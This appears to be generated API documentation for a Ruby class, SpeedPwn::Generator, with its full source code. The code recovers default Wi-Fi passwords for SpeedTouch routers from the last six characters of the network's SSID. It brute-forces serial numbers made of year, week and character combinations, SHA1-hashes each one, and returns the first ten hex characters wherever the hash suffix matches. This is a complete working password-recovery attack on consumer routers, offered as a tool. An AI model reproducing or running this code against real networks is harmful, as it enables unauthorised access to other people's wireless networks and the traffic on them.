Class: SpeedPwn::Generator

Inherits:
Object
  • Object
show all
Defined in:
lib/speedpwn/generator.rb

Overview

The Generator class takes a SpeedTouch SSID part (the last 6 characters) and returns an Array containing the possible default passwords for it. This code is based on the following resources:

Note that unlike other tools this particular one only supports SpeedTouch routers since BT Home hubs are not used in The Netherlands.

Constant Summary collapse

YEARS =

Returns:

  • (Array)
('04'..(Time.now.strftime('%y'))).to_a
WEEKS =

Returns:

  • (Array)
('1'..'52').to_a
CHARACTERS =

Returns:

  • (Array)
'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'.chars.to_a

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(identifier) ⇒ Generator

Returns a new instance of Generator.

Parameters:

  • identifier (String)

    The last 6 characters of the SSID.



37
38
39
40
# File 'lib/speedpwn/generator.rb', line 37

def initialize(identifier)
  @identifier = identifier
  @digest     = OpenSSL::Digest::SHA1.new
end

Instance Attribute Details

#identifierString (readonly)

Returns:

  • (String)


16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# File 'lib/speedpwn/generator.rb', line 16

class Generator
  attr_reader :identifier

  ##
  # @return [Array]
  #
  YEARS = ('04'..(Time.now.strftime('%y'))).to_a

  ##
  # @return [Array]
  #
  WEEKS = ('1'..'52').to_a

  ##
  # @return [Array]
  #
  CHARACTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'.chars.to_a

  ##
  # @param [String] identifier The last 6 characters of the SSID.
  #
  def initialize(identifier)
    @identifier = identifier
    @digest     = OpenSSL::Digest::SHA1.new
  end

  ##
  # Sets the block to call whenever a week (= batch) has been processed.
  #
  # @param [Proc] block
  #
  def finish_batch(&block)
    @finish_batch = block
  end

  ##
  # Generates the passwords and returns them as an Array of Strings.
  #
  # @return [Array]
  #
  def generate
    passwords  = []
    batch_size = character_combinations.size

    YEARS.each do |year|
      WEEKS.each do |week|
        character_combinations.each do |combo|
          found = generate_password(year, week, combo)

          passwords << found if found
        end

        @finish_batch.call(batch_size) if @finish_batch
      end
    end

    return passwords
  end

  ##
  # Returns the amount of iterations to run.
  #
  # @return [Numeric]
  #
  def size
    return YEARS.size * WEEKS.size * character_combinations.size
  end

  alias_method :count, :size

  private

  ##
  # @param [String] year
  # @param [String] week
  # @param [String] combo
  # @return [String]
  #
  def generate_password(year, week, combo)
    found  = nil
    serial = "CP#{year}#{week}#{combo}".upcase
    hash   = @digest.hexdigest(serial).upcase

    if hash[-6..-1] == identifier
      found = hash[0..9]
    end

    return found
  end

  ##
  # @return [Array]
  #
  def character_combinations
    @combinations ||= CHARACTERS.permutation(3).map do |group|
      group.map { |char| char.ord.to_s(16) }.join('')
    end

    return @combinations
  end
end

Instance Method Details

#finish_batch(&block) ⇒ Object

Sets the block to call whenever a week (= batch) has been processed.

Parameters:

  • block (Proc)


47
48
49
# File 'lib/speedpwn/generator.rb', line 47

def finish_batch(&block)
  @finish_batch = block
end

#generateArray

Generates the passwords and returns them as an Array of Strings.

Returns:

  • (Array)


56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/speedpwn/generator.rb', line 56

def generate
  passwords  = []
  batch_size = character_combinations.size

  YEARS.each do |year|
    WEEKS.each do |week|
      character_combinations.each do |combo|
        found = generate_password(year, week, combo)

        passwords << found if found
      end

      @finish_batch.call(batch_size) if @finish_batch
    end
  end

  return passwords
end

#sizeNumeric Also known as: count

Returns the amount of iterations to run.

Returns:

  • (Numeric)


80
81
82
# File 'lib/speedpwn/generator.rb', line 80

def size
  return YEARS.size * WEEKS.size * character_combinations.size
end